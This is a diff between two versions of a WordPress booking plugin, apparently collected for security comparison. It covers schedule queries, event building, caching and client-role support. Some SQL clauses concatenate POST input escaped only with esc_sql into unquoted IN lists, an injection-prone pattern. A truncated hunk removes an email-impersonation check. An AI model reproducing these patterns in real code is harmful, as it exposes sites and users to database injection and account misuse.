+		$stats = $stat_arr ? 'status IN ("'. implode('","', $stat_arr ) .'")' : '1=2';

+

+		return $stats;

 	}

 

 	/**

-     * Template as booking description

+     * Helper

+	 * @since 5.9.1

 	 * @return string

      */

-	public static function template( $role ) {

-		$set = 'admin' == $role

-			   ? wpb_setting( 'schedule_desc_admin', WpBConstant::$_schedule_desc_admin )

-			   : wpb_setting( 'schedule_desc_worker', WpBConstant::$_schedule_desc_worker );

+	private static function worker_services_sql() {

+		$all_by_worker = BASE()->get_services_by_worker( get_current_user_id() );

+		$ids = ! empty( $_POST['service_ids'] ) && 'null' !== $_POST['service_ids'] && 'undefined' !== $_POST['service_ids']

+			   ? array_map( 'esc_sql', explode( ',', $_POST['service_ids'] ) )

+			   : false;

+

+		$serv_arr = array();

+		if ( $ids ) {

+			foreach ( $ids as $id ) {

+				if ( in_array( $id, array_keys( $all_by_worker ) ) ) {

+					$serv_arr[] = $id;

+				}

+			}

+		} else {

+			$serv_arr = array_keys( $all_by_worker );

+			$serv_arr[] = WPB_GCAL_SERVICE_ID;

+		}

 

-		return apply_filters( 'app_schedule_template', $set, $role );

+		$serv = $serv_arr ? 'SERVICE IN ('. implode(',', $serv_arr ) .')' : '1=2';

+

+		return $serv;

 	}

 

 	/**

@@ -153,36 +224,23 @@
 			$work = ! empty( $_POST['worker_ids'] ) && 'null' !== $_POST['worker_ids'] && 'undefined' !== $_POST['worker_ids']

 					? 'worker IN ('.esc_sql( $_POST['worker_ids'] ).')'

 					: '1=1';

+			$user = '1=1';

 		} else if ( wpb_is_worker() ) {

+			$stats = self::non_admin_stats_sql();

 			$locs = '1=1';

+			$serv = self::worker_services_sql();

 			$work = BASE()->db->prepare( 'worker=%d', get_current_user_id() );

-

-			$_stats = ! empty( $_POST['stats'] ) && 'null' !== $_POST['stats'] && 'undefined' !== $_POST['stats']

-				   ? array_map( 'esc_sql', explode( ',', $_POST['stats'] ) )

-				   : array_keys( BASE()->get_statuses() );

-			$stat_arr = array_intersect( $_stats, wpb_schedules_allowed_stats() );

-			$stats = $stat_arr ? 'status IN ("'. implode('","', $stat_arr ) .'")' : '1=2';

-

-			$all_by_worker = BASE()->get_services_by_worker( get_current_user_id() );

-			$ids = ! empty( $_POST['service_ids'] ) && 'null' !== $_POST['service_ids'] && 'undefined' !== $_POST['service_ids']

-				   ? array_map( 'esc_sql', explode( ',', $_POST['service_ids'] ) )

-				   : false;

-

-			$serv_arr = array();

-			if ( $ids ) {

-				foreach ( $ids as $id ) {

-					if ( in_array( $id, array_keys( $all_by_worker ) ) ) {

-						$serv_arr[] = $id;

-					}

-				}

-			} else {

-				$serv_arr = array_keys( $all_by_worker );

-				$serv_arr[] = WPB_GCAL_SERVICE_ID;

-			}

-

-			$serv = $serv_arr ? 'SERVICE IN ('. implode(',', $serv_arr ) .')' : '1=2';

+			$user = '1=1';

 		} else {

-			wp_send_json( array( 'error' => __('Role not supported at the moment','wp-base') ) );

+			$stats = self::non_admin_stats_sql();

+			$locs = '1=1';

+			$serv = ! empty( $_POST['service_ids'] ) && 'null' !== $_POST['service_ids'] && 'undefined' !== $_POST['service_ids']

+					? 'service IN ('.esc_sql( $_POST['service_ids'] ).')'

+					: '1=1';

+			$work = ! empty( $_POST['worker_ids'] ) && 'null' !== $_POST['worker_ids'] && 'undefined' !== $_POST['worker_ids']

+					? 'worker IN ('.esc_sql( $_POST['worker_ids'] ).')'

+					: '1=1';

+			$user = BASE()->db->prepare( 'user=%d', get_current_user_id() );

 		}

 

 		$start = ! empty( $_POST['start'] ) ? strtotime( wpb_clean( $_POST['start'] ) ) : strtotime( 'first day of this month' );

@@ -190,7 +248,7 @@
 		$stores = wpb_is_manage_store() ? " location IN (". implode( ',', wpb_managed_stores() ) .") " : '1=1';

 

 		$query = BASE()->db->prepare( "SELECT * FROM ". BASE()->app_table ." WHERE ".

-				"$stats AND $locs AND $stores AND $serv AND $work AND start <= %s AND end > %s",

+				"$stats AND $locs AND $stores AND $serv AND $work AND $user AND start <= %s AND end > %s",

 				date( 'Y-m-d H:i:s', $end ), date( 'Y-m-d H:i:s', $start ) );

 

 		$cached	= get_transient( 'wpbase_schedule_data' );

@@ -202,15 +260,28 @@
 

 			$results = BASE()->db->get_results( $query );

 

+			$app_ids = wp_list_pluck( $results, 'ID' );

+			WpBMeta::update_meta_cache( 'app', $app_ids );

+			update_meta_cache( 'user', wp_list_pluck( $results, 'user' ) );

+

 			$out = $events = $conns = array();

+			

+			$role = wpb_user_role();

+

+			$builder = new WpB_Event_Builder();

 

 			foreach ( (array)$results as $app ) {

 				$booking = new WpB_Booking( $app->ID );

 

-				$events[ $booking->get_ID() ] = $this->prepare_event( $booking );

+				if ( $saved = get_transient( 'wpbase_schedule_'. $role .'_'. $booking->get_ID() ) ) {

+					$events[ $booking->get_ID() ] = $saved;

+				} else {

+					$events[ $booking->get_ID() ] = $builder->build( $booking );

+					set_transient( 'wpbase_schedule_'. $role .'_'. $booking->get_ID(), $events[ $booking->get_ID() ], WEEK_IN_SECONDS + rand(0, 72) * HOUR_IN_SECONDS );

+				}

 			}

 

-			foreach ( array_count_values( $this->parents ) as $val => $c ) {

+			foreach ( array_count_values( $builder->get_parents() ) as $val => $c ) {

 				if ( $c > 1 ) {

 					$conns[] = $val;

 				}

@@ -234,84 +305,24 @@
 			set_transient( 'wpbase_schedule_data', $cached, HOUR_IN_SECONDS ); # Cleared with wpb_flush_cache

 		}

 

-		// wp_send_json( $data );

-

 		die( json_encode( array( 'out' => $data, 'conns' => $conns ) ) );

 	}

 

 	/**

-	 * Prepare ec parameters for a single event

+	 * Mark break slots

 	 * @return array

 	 */

-	public function prepare_event( $booking ) {

-			$service	= new WpB_Service( $booking->get_service() );

-			$id			= $service->get_id();

-			$status		= $booking->get_status();

-			$worker		= new WpB_Worker( $booking->get_worker() );

-

-			if ( empty( $this->bg_colors[ $id ][ $status ] ) ) {

-				$this->bg_colors[ $id ][ $status ] = in_array( $status, self::faded_stats() )

-													 ? wpb_adjustBrightness( $service->bg_color(), 0.7 )

-													 : $service->bg_color();

-			}

-

-			if ( empty( $this->text_colors[ $id ][ $status ] ) ) {

-				$this->text_colors[ $id ][ $status ] = in_array( $status, self::faded_stats() )

-													   ? '#909090'

-													   : $service->text_color();

-			}

-			

-			if ( $booking->is_gcal_event() ) {

-				$this->bg_colors[ $id ][ $status ] = wpb_setting( 'gcal_bg_color' ) ?: wpb_random_color();

-				$this->text_colors[ $id ][ $status ] = wpb_text_color( $this->bg_colors[ $id ][ $status ] );

-			} else if ( $booking->is_event() && defined( 'WPB_EB_META' ) ) {

-				$post_id = absint( $booking->get_service() );

-				$this->bg_colors[ $id ][ $status ] = get_post_meta( $post_id, WPB_EB_META .'_bg_color', true ) ?: wpb_random_color();

-				$this->text_colors[ $id ][ $status ] = get_post_meta( $post_id, WPB_EB_META .'_text_color', true ) ?: wpb_text_color( $this->bg_colors[ $id ][ $status ] );

-			}

-

-			$all_day = BASE()->is_daily( $booking->get_service() ) || ( wpb_strtotime( $booking->get_end() ) - wpb_strtotime( $booking->get_start() ) > DAY_IN_SECONDS );

-

-			$desc = $template = self::template( wpb_is_admin_user() ? 'admin' : 'worker' );

-

-			if ( ! BASE()->get_nof_workers() || ! $booking->get_worker() ) {

-				$desc = str_replace( 'WORKER', '', $template );

-			}

-

-			$enlarged = false && $all_day && 'yes' != wpb_setting( 'end_date_for_venue' );

-

-			$parent_id = $booking->get_parent_id() ?: $booking->get_ID();

+	public static function breaks() {

+		if ( wpb_is_client() ) {

+			return array();

+		}

 

-			$this->parents = array_merge( $this->parents, array( $booking->get_ID() => $parent_id ) );

+		$view = ! empty( $_POST['view'] ) ? strtolower( wpb_clean( $_POST['view'] ) ) : '';

 

-			return array(

-				'id'				=> $booking->get_ID(),

-				'resourceId'		=> $booking->get_worker(),

-				'start'				=> $booking->get_start(),

-				'end'				=> $all_day && 'yes' != wpb_setting( 'end_date_for_venue' )

-									   ? date( 'Y-m-d H:i:s', wpb_strtotime( $booking->get_end() ) + DAY_IN_SECONDS )

-									   : $booking->get_end(),

-				'allDay'			=> $all_day,

-				'title'				=> ' ',

-				'textColor'			=> $this->text_colors[ $id ][ $status ],

-				'backgroundColor'	=> $this->bg_colors[ $id ][ $status ],

-				'styles'			=> $enlarged ? 'max-width:50%' : '',

-				'classNames'		=> ($all_day ? 'long ': '').$status.' location-'.$booking->get_location().' service-'.$booking->get_service().' worker-'.$booking->get_worker().' app-'.$booking->get_ID(),

-				'extendedProps' => array(

-					'avatar'		=> $worker->get_avatar( 48 ),

-					'show_checkout'	=> 'yes' != wpb_setting( 'end_date_for_venue' ), # Not used

-					'desc'			=> wpb_replace( $desc, $booking ),

-					'header_text'	=> $all_day ? wpb_format_start_end( strtotime($booking->get_start()), strtotime($booking->get_end()), true ) : false,

-				),

-			);

-	}

+		if ( strpos( $view, 'month' ) !== false ) {

+			return array();

+		}

 

-	/**

-	 * Mark break slots

-	 * @return array

-	 */

-	public static function breaks() {

-		$view = ! empty( $_POST['view'] ) ? wpb_clean( $_POST['view'] ) : '';

 		$start = ! empty( $_POST['start'] ) ? strtotime( wpb_clean( $_POST['start'] ) ) : strtotime( 'first day of this month' );

 		$end = ! empty( $_POST['end'] ) ? strtotime( wpb_clean( $_POST['end'] ) ) : strtotime( 'last day of this month' ) + 86400;

 		$step = BASE()->get_min_time()*60;

@@ -342,7 +353,7 @@
 						'start'		=> date( 'Y-m-d H:i:s', $slot->get_start() ),

 						'end'		=> date( 'Y-m-d H:i:s', $slot->get_end() ),

 						'resourceId'=> $slot->get_worker(),

-						'classNames'		=> 'blocked',

+						'classNames'=> 'blocked',

 					);

 				}

 

@@ -359,8 +370,12 @@
 	 * @return json

 	 */

 	public function upsert() {

+	

+		if ( wpb_is_client() ) {

+			return wpb_listing_inline_edit();

+		}

+	

 		$safe_format	= BASE()->safe_date_format();

-

 		$app_id			= isset( $_REQUEST['app_id'] ) ? wpb_clean( $_REQUEST['app_id'] ) : 0;

 		$booking		= new WpB_Booking( $app_id );

 		$old_booking	= clone $booking;

@@ -379,7 +394,7 @@
 		wpb_set_lock( $bid );

 

 		$html  = '';

-		$html .= '<div class="inline-edit-row inline-edit-row-post '.($bid ? "" : "inline-edit-row-add-new").'">';

+		$html .= '<div class="inline-edit-row inline-edit-row-post '.($bid ? '' : 'inline-edit-row-add-new').'">';

 		$html .= '<fieldset>';

 		$html .= '<div class="inline-edit-col">';

 

@@ -398,7 +413,7 @@
 

 		/* Services */

 		$html .= wpb_wrap_field( 'service', $booking->is_event() ? __('Event', 'wp-base') : __('Service', 'wp-base'),

-			$controller->select_service( ! $app_id ),

+			$controller->select_service( false, ! $app_id ),

 			apply_filters( 'app_inline_edit_service_helptip', '', $booking, $controller, 'quick_edit' )

 		);

 

@@ -570,6 +585,10 @@
 	 * @return json

 	 */

 	public function update() {

+	

+		if ( wpb_is_client() ) {

+			return wpb_listing_inline_edit_update();

+		}	

 

 		self::check_auth();

 

@@ -603,7 +622,7 @@
 

 		$out = array(

 			'locations_sel'	=> $controller->select_location(),

-			'services_sel'	=> $controller->select_service( ! $app_id ),

+			'services_sel'	=> $controller->select_service( false, ! $app_id ),

 			'workers_sel'	=> wpb_is_admin_user() ? $controller->select_worker() : $controller->select_self_worker(),

 		);

 

@@ -620,7 +639,7 @@
 

 		$out['notice'] = wpb_admin_notice( $booking, $old_booking );

 

-		$out = apply_filters( 'app_inline_edit_update', $out, $booking, $old_booking, $controller, $this, 'quick_edit' );

+		$out = apply_filters( 'app_inline_edit_update', $out, $booking, $old_booking, $controller, 'quick_edit' );

 

 		die( json_encode( $out ) );

 	}

@@ -630,6 +649,10 @@
 	 * @return json

 	 */

 	public function save() {

+	

+		if ( wpb_is_client() ) {

+			return wpb_listing_inline_edit_save();

+		}	

 

 		self::check_auth();

 

@@ -714,7 +737,7 @@
 			}

 		}

 

-		$booking = apply_filters( 'app_inline_edit_save_data', $booking, $old_booking );

+		$booking = apply_filters( 'app_inline_edit_save_data', $booking, $old_booking, 'quick_edit' );

 

 		if ( strtotime( $booking->get_start() ) > strtotime( $booking->get_end() ) ) {

 			die( json_encode( array( 'error' => __('Booking start time cannot be later than end time!', 'wp-base' ) ) ) );

@@ -725,10 +748,10 @@
 			$booking->check_update( $old_booking );

 		}

 

-		do_action( 'app_inline_edit_save_before_save', $booking, $old_booking, $this );

+		do_action( 'app_inline_edit_save_before_save', $booking, $old_booking, 'quick_edit' );

 

 		$updated = $inserted = null;

-		$changed	= false;

+		$changed = false;

 

 		if ( $booking->get_ID() ) {

 			$updated = wpb_admin_update_booking( $booking, $old_booking );

@@ -751,12 +774,12 @@
 			$changed = true;

 		}

 

-		$changed = apply_filters( 'app_inline_edit_save', $changed, $booking, $old_booking, $this );

+		$changed = apply_filters( 'app_inline_edit_save', $changed, $booking, $old_booking, 'quick_edit' );

 

 		if ( $updated ) {

-			do_action( 'app_inline_edit_updated', $booking, $old_booking, $this );

+			do_action( 'app_inline_edit_updated', $booking, $old_booking, 'quick_edit' );

 		} else if ( $inserted ) {

-			do_action( 'app_inline_edit_new_booking', $booking, $old_booking, $this );

+			do_action( 'app_inline_edit_new_booking', $booking, $old_booking, 'quick_edit' );

 		}

 

 		$email_sent = $mode = false;

@@ -777,7 +800,9 @@
 			}

 		}

 

-		$event = $this->prepare_event( $booking );

+		$builder = new WpB_Event_Builder();

+

+		$event = $builder->build( $booking );

 

 		if ( $updated === false || $inserted === false ) {

 			$result = array( 'error' => __( 'Record could not be saved!', 'wp-base' ) );

@@ -874,17 +899,6 @@
 	}

 

 	/**

-	 * Ajax save panel

-	 * @return json

-	 */

-	public function save_left(){

-

-		update_user_option( get_current_user_id(), 'app_quick_book_panel_at_left', ! empty( $_POST['left'] ) );

-

-		wp_send_json_success();

-	}

-

-	/**

 	 * Check authorization

 	 * @return json

 	 */

@@ -909,11 +923,214 @@
 }

 

 /**

+ * Helper class to build a formatted event for Calendar

+ * @since 6.0.0

+ */

+class WpB_Event_Builder {

+

+	private $bg_colors = array();

+

+	private $text_colors = array();

+

+	private $parents = array();

+

+	/**

+     * WP BASE Core + Front [+Admin] instance

+     */

+	protected $a = null;

+

+	public function __construct() {

+		$this->a = BASE();

+	}

+

+	/**

+     * Stats that will be displayed as faded at EC

+	 * @return array

+     */

+	public static function faded_stats() {

+		return apply_filters( 'app_schedule_faded_stats', array( 'completed', 'removed' ) );

+	}

+

+	/**

+     * Get default template from file

+	 * @param $context		string		'admin', 'worker', 'client'

+	 * @since 6.0

+	 * @return string

+     */

+	public static function default_desc( $context ) {

+		include_once WPBASE_PLUGIN_DIR . '/includes/constant-data.php';

+		

+		switch( $context ) {

+			case 'admin':	return WpBConstant::$_schedule_desc_admin;

+			case 'worker':	return WpBConstant::$_schedule_desc_worker;

+			case 'client':	

+			default:		return WpBConstant::$_schedule_desc_client;		

+		}

+	}

+

+	/**

+     * Template as booking description

+	 * @param $role		string		'admin', 'worker', 'client' or 'auto' which finds current user's role

+	 * @return string

+     */

+	public static function template( $role = 'auto' ) {

+		if ( 'auto' == $role ) {

+			$role = wpb_user_role();

+		}

+

+		$set = 'admin' == $role

+			   ? wpb_setting( 'schedule_desc_admin', self::default_desc( 'admin' ) )

+			   : ( 'worker' == $role

+			   ? wpb_setting( 'schedule_desc_worker', self::default_desc( 'worker' ) )

+			   : wpb_setting( 'schedule_desc_client', self::default_desc( 'client' ) ) );

+

+		return apply_filters( 'app_schedule_template', $set, $role );

+	}

+

+	/**

+	 * Get IDs of parents of all bookings handled during this instance

+	 * @return array

+	 */

+	public function get_parents() {

+		return $this->parents;

+	}

+

+	/**

+	 * Prepare ec parameters for a single event

+	 * @return array

+	 */

+	public function build( $booking, $role = 'auto' ) {

+		$service	= new WpB_Service( $booking->get_service() );

+		$id			= $service->get_id();

+		$status		= $booking->get_status();

+		$worker		= new WpB_Worker( $booking->get_worker() );

+

+		if ( empty( $this->bg_colors[ $id ][ $status ] ) ) {

+			$this->bg_colors[ $id ][ $status ] = in_array( $status, self::faded_stats() )

+												 ? wpb_adjustBrightness( $service->bg_color(), 0.7 )

+												 : $service->bg_color();

+		}

+

+		if ( empty( $this->text_colors[ $id ][ $status ] ) ) {

+			$this->text_colors[ $id ][ $status ] = in_array( $status, self::faded_stats() )

+												   ? '#909090'

+												   : $service->text_color();

+		}

+

+		if ( $booking->is_gcal_event() ) {

+			$this->bg_colors[ $id ][ $status ] = wpb_setting( 'gcal_bg_color' ) ?: wpb_random_color();

+			$this->text_colors[ $id ][ $status ] = wpb_text_color( $this->bg_colors[ $id ][ $status ] );

+		} else if ( $booking->is_event() && defined( 'WPB_EB_META' ) ) {

+			$post_id = absint( $booking->get_service() );

+			$this->bg_colors[ $id ][ $status ] = get_post_meta( $post_id, WPB_EB_META .'_bg_color', true ) ?: wpb_random_color();

+			$this->text_colors[ $id ][ $status ] = get_post_meta( $post_id, WPB_EB_META .'_text_color', true ) ?: wpb_text_color( $this->bg_colors[ $id ][ $status ] );

+		}

+

+		$all_day = BASE()->is_daily( $booking->get_service() ) || ( wpb_strtotime( $booking->get_end() ) - wpb_strtotime( $booking->get_start() ) > DAY_IN_SECONDS );

+

+		$desc = $template = self::template( $role );

+

+		if ( ! BASE()->get_nof_workers() || ! $booking->get_worker() ) {

+			$desc = str_replace( 'WORKER', '', $template );

+		}

+

+		$enlarged = false && $all_day && 'yes' != wpb_setting( 'end_date_for_venue' );

+

+		$parent_id = $booking->get_parent_id() ?: $booking->get_ID();

+

+		$this->parents = array_merge( $this->parents, array( $booking->get_ID() => $parent_id ) );

+

+		return array(

+			'id'				=> $booking->get_ID(),

+			'resourceId'		=> $booking->get_worker(),

+			'start'				=> $booking->get_start(),

+			'end'				=> $all_day && 'yes' != wpb_setting( 'end_date_for_venue' )

+								   ? date( 'Y-m-d H:i:s', wpb_strtotime( $booking->get_end() ) + DAY_IN_SECONDS )

+								   : $booking->get_end(),

+			'allDay'			=> $all_day,

+			'title'				=> ' ',

+			'textColor'			=> $this->text_colors[ $id ][ $status ],

+			'backgroundColor'	=> $this->bg_colors[ $id ][ $status ],

+			'styles'			=> $enlarged ? 'max-width:50%' : '',

+			'classNames'		=> ($all_day ? 'long ': '').$status.' location-'.$booking->get_location().' service-'.$booking->get_service().' worker-'.$booking->get_worker().' app-'.$booking->get_ID(),

+			'extendedProps' => array(

+				'avatar'		=> $worker->get_avatar( 48 ),

+				'show_checkout'	=> 'yes' != wpb_setting( 'end_date_for_venue' ), # Not used

+				'desc'			=> wpb_replace( $desc, $booking ),

+				'header_text'	=> $all_day ? wpb_format_start_end( strtotime($booking->get_start()), strtotime($booking->get_end()), true ) : false,

+			),

+		);

+	}

+}

+

+/**

+ * Delete saved single event transients

+ * @param	$context	string		Role. 'admin', 'worker' or 'client'

+ * @since 6.0

+ * @return none

+ */

+function wpb_schedules_delete_transients( $context = 'admin' ) {

+	global $wpdb;

+	

+	$wpdb->query(

+		$wpdb->prepare(

+			"DELETE FROM {$wpdb->options}

+			WHERE option_name LIKE %s OR option_name LIKE %s",

+			$wpdb->esc_like( '_transient_wpbase_schedule_'. $context .'_' ) . '%',

+			$wpdb->esc_like( '_transient_timeout_wpbase_schedule_'. $context .'_' ) . '%'

+		)

+	);

+	

+	delete_transient( 'wpbase_schedule_data' );

+}

+

+/**

+ * Delete saved single event transients of bookings of a particular service

+ * @param	$service_id		integer		Service ID

+ * @since 6.0

+ * @return none

+ */

+function wpb_schedules_delete_transients_by_service( $service_id ) {

+	global $wpdb;

+	

+	$ids = $wpdb->get_col( 

+		$wpdb->prepare(

+			"SELECT ID FROM {$wpdb->prefix}base_bookings

+			WHERE service = %d",

+			$service_id

+		)

+	);

+	

+	if ( ! $ids ) {

+		return;

+	}

+	

+	$in_arr = array();

+	

+	foreach ( array( '_transient_wpbase_schedule_', '_transient_timeout_wpbase_schedule_' ) as $suffix ) {

+		foreach ( array( 'admin', 'worker', 'client' ) as $context ) {

+			foreach ( $ids as $id ) {

+				$in_arr[] = esc_sql( $suffix . $context .'_'. $id  );

+			}

+		}

+	}

+	

+	if ( ! $in_arr ) {

+		return;

+	}

+	

+	$in = "'". implode( "','", $in_arr ) ."'";

+	

+	$wpdb->query( "DELETE FROM {$wpdb->options} WHERE option_name IN ({$in})" );		

+}

+

+/**

  * Stats that provider can select

  * @return array

  */

 function wpb_schedules_allowed_stats() {

-	return apply_filters( 'app_schedule_allowed_stats', array_map( 'trim' , explode( ',', wpb_setting( 'schedule_allowed_stats', 'paid,confirmed,pending,running,completed,removed' ) ) ) );

+	$setting_name = wpb_is_client() ? 'schedule_allowed_stats_client' : 'schedule_allowed_stats';

+	return apply_filters( 'app_schedule_allowed_stats', array_map( 'trim' , explode( ',', wpb_setting( $setting_name, 'paid,confirmed,pending,running,completed,removed' ) ) ) );

 }

 

 /**

@@ -952,11 +1169,10 @@
 	$loc_ids		= array();

 	$workers		= array();

 	$worker_titles	= array();

-	$meta			= get_user_option( 'app_quick_book_panel_at_left' );

-	$at_left		= null !== $meta ? (bool)$meta : true;

 	$images 		= array();

 	$colors 		= array();

 	$order			= apply_filters( 'app_schedules_sort_order', 'name' );

+	$user_id		= get_current_user_id();

 

 	if ( wpb_is_manage_store() ) {

 		$loc_ids = wpb_managed_stores();

@@ -966,14 +1182,20 @@
 		$loc_ids = array_keys( (array)BASE()->get_locations( $order ) );

 		$services = BASE()->get_services( $order );

 		$workers = BASE()->get_workers( $order );

-	} else {

+	} else if ( wpb_is_worker() ) {

 		$loc_ids = array();

-		$provided = BASE()->get_services_by_worker( get_current_user_ID(), $order );

-		$owned = BASE()->get_services_owned_by( get_current_user_ID(), $order );

+		$provided = BASE()->get_services_by_worker( $user_id, $order );

+		$owned = BASE()->get_services_owned_by( $user_id, $order );

 		$services = (array)$provided + (array)$owned;

 		$workers = array();

+	} else {

+		$loc_ids = array();

+		$services = wpb_client_services( $user_id, $order );

+		$workers = wpb_client_workers( $user_id, $order );

 	}

 

+	$services = apply_filters( 'app_schedules_services', $services );

+

 	foreach ( $services as $_service ) {

 		if ( $maybe_color = wpb_get_service_meta( $_service->ID, 'bg_color' ) ) {

 			$colors[ $_service->ID ] = $maybe_color;

@@ -1003,18 +1225,8 @@
 

 ?>

 <div class="app-page app-manage app-form app-schedules-group" data-only_own="<?php echo ( ! wpb_is_admin_user() ? 1 : 0 ) ?>">

-	<div id="app-panel-wrap" class="app-panel-wrap<?php echo ( $at_left ? ' left' : '') ?>">

-		<button class="button-secondary app-close-panel">

-			<span class="dashicons dashicons-no" title="<?php echo __('Close','wp-base') ?>"></span>

-		</button>

-		<button class="button-secondary app-dock-left<?php echo ( $at_left ? ' left' : '') ?>">

-			<span class="dashicons dashicons-align-pull-left" title="<?php echo __('Dock to left','wp-base') ?>"></span>

-			<span class="dashicons dashicons-align-pull-right" title="<?php echo __('Dock to right','wp-base') ?>"></span>

-		</button>

-

-		<div id="app-panel" class="app-panel"></div>

 

-	</div>

+	<?php wpb_editing_panel_html(); ?>

 

 	<div id="app-open-navbar-schedule"<?php echo (! $is_hidden ? ' style="display:none"' : '')?>>

 		<button title="<?php echo esc_attr( __( 'Open toolbar', 'wp-base' ) ) ?>"></button>

@@ -1082,7 +1294,7 @@
 

 				<?php if ( $workers ) { ?>

 					<div class="app-filter-workers app-filter-ms">

-						<select multiple size="12" name="app_workers" class="app_ms_tab app-no-save-alert app-schedule-select app-invisible" data-buttonwidth="auto" data-noneselectedtext="<?php _e( 'All Providers', 'wp-base' ) ?>" data-usefilter="<?php echo (BASE()->get_nof_workers() > 20 ? 'yes' : 'no') ?>">

+						<select multiple size="12" name="app_workers" class="app_ms_tab app-no-save-alert app-schedule-select app-invisible" data-buttonwidth="auto" data-noneselectedtext="<?php _e( 'All Providers', 'wp-base' ) ?>" data-usefilter="<?php echo (count( $workers ) > 20 ? 'yes' : 'no') ?>">

 					<?php

 						foreach ( $workers as $worker ) {

 							$name = BASE()->get_worker_name( $worker->ID );

@@ -1149,30 +1361,6 @@
 jQuery(document).ready(function($) {

 	$(".app-schedule-select").removeClass("app-invisible");

 

-	$(".app-close-panel").click(function(e) {

-		e.preventDefault();

-		var $this = $(this);

-		var par = $this.parent(".app-panel-wrap");

-		par.removeClass("open");

-	});

-

-	function save_left( exp ) {

-		var data = {

-			wpb_ajax: true,

-			action: "app_panel_save_left",

-			left: exp ? 1 :0,

-			ajax_nonce: _app_.iedit_nonce

-		};

-		$.post(_app_.ajax_url, data, function (r) {

-			if (r && r.error) {

-				window.alert(r.error);

-			} else if (r) {

-			} else {

-				window.alert(_app_.con_error);

-			}

-		}, "json");

-	}

-

 	function saveNavbar(hidden) {

 		var data = {

 			wpb_ajax: true,

@@ -1194,46 +1382,30 @@
 	var openNavbar = $(document).find("#app-open-navbar-schedule");

 	var container = $(".app-js-schedules");

 

-	$("#app-open-navbar-schedule button").click(function(e){

+	$("#app-open-navbar-schedule button").click( function (e) {

 		e.preventDefault();

 		openNavbar.hide();

 		navbar.show( "fast" );

 		saveNavbar( false );

 	});

 

-	$("#app-close-navbar-schedule button").click(function(e){

+	$("#app-close-navbar-schedule button").click( function (e) {

 		e.preventDefault();

 		navbar.hide( "fast" );

 		openNavbar.show();

 		saveNavbar( true );

 	});

 

-	$(".app-dock-left").click(function(e) {

-		e.preventDefault();

-		var $this = $(this);

-		var par = $this.parent(".app-panel-wrap");

-

-		if ( $this.hasClass("left") ) {

-			$this.removeClass("left");

-			par.removeClass("left");

-			save_left( false );

-		} else {

-			$this.addClass("left");

-			par.addClass("left");

-			save_left( true );

-		}

-	});

-

-	$(".app-filter-submit-btn").click(function(e){

+	$(".app-filter-submit-btn").click( function (e) {

 		e.preventDefault();

 		var $this = $(this);

 		var par = $this.parents("#app-navbar");

 		var statii = par.find("select[name=app_stats]").val();

+		var stats = statii ? statii.join() : "";

 		var weekdays_arr = par.find("select[name=app_weekdays]").val();

 		var locations = par.find("select[name=app_locations]").val();

 		var services = par.find("select[name=app_services]").val();

 		var workers = par.find("select[name=app_workers]").val();

-		var stats = statii ? statii.join() : "";

 		var weekdays = weekdays_arr ? weekdays_arr.join() : "";

 		var location_ids = locations ? locations.join() : "";

 		var service_ids = services ? services.join() : "";

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/terms-conditions.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/terms-conditions.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/terms-conditions.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/terms-conditions.php	2026-03-10 03:42:22.000000000 +0000
@@ -41,7 +41,7 @@
 			return;

 		}

 

-		add_filter( 'app_confirmation_before_buttons', array( $this, 'terms' ), 10, 2 );

+		// add_filter( 'app_confirmation_before_buttons', array( $this, 'terms' ), 10, 2 );

 		add_filter( 'app_checkout_before_buttons', array( $this, 'terms' ) );

 		add_filter( 'appointments_display_tabs', array( $this, 'add_tab' ), 13 );

 		add_action( 'app_display_terms_tab', array( $this, 'terms_settings' ), 13 );

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/user.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/user.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/user.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/user.php	2026-03-10 03:42:22.000000000 +0000
@@ -238,8 +238,8 @@
 	 * @return string

 	 */

 	public function get_client_name( $app_id, $r = null, $add_link = true, $limit = 22, $prime_cache = false ) {

-		$name	= '';

-		$limit	= apply_filters( 'app_chr_limit', $limit );

+		$name = $raw_name = '';

+		$limit = apply_filters( 'app_chr_limit', $limit );

 		$app = (null !== $r) ? $r : wpb_get_app( $app_id, $prime_cache );

 

 		if ( $app ) {

@@ -281,6 +281,8 @@
 				$name = mb_substr( $name, 0, $limit, 'UTF-8' ) . '...';

 			}

 

+			$raw_name = $name;

+

 			$tt = $full_name;

 

 			if ( $email ) {

@@ -304,10 +306,16 @@
 

 		# Fallback

 		if ( ! $name ) {

-			$name = wp_unslash( wpb_get_text( ! empty( $r->status ) && 'reserved' == $r->status ? 'gcal' : 'client' ) );

+			$raw_name = $name = wp_unslash( wpb_get_text( ! empty( $r->status ) && 'reserved' == $r->status ? 'gcal' : 'client' ) );

 		}

 

-		return apply_filters( 'app_get_client_name', $name, $app_id, $r );

+		$out = apply_filters( 'app_get_client_name', $name, $app_id, $r );

+

+		if ( 'full' === $add_link ) {

+			return array( 'name' => $out, 'raw_name' => $raw_name, );

+		} else {

+			return $out;

+		}

 	}

 

 	/**

@@ -607,7 +615,7 @@
 	 * @return array|none	If used as an action hook, returns none. If used as a method call, returns array (sanitized user submit)

 	 */

 	public function sanitize_submitted_userdata( $validate = 'validate' ){

-	

+

 		if ( empty( $_POST['app_user_data'] ) ) {

 			return array();

 		}

@@ -775,19 +783,13 @@
 

 		# Check if user is not logged in and submitted email is registered

 		# Without this check, someone may login instead of another person using his email

-		if ( ! is_user_logged_in() && wpb_setting( 'ask_email' ) && $sub_udata['email'] ) {

-			$maybe_user = get_user_by( 'email', $sub_udata['email'] );

-			if ( $maybe_user ) {

-				$msg = wpb_get_text('login_required');

-				if ( false && class_exists( 'UsersWP' ) ) {

-					die( json_encode( array( 'userswp' => $msg ) ) );

-				} else {

-					die( json_encode( array(
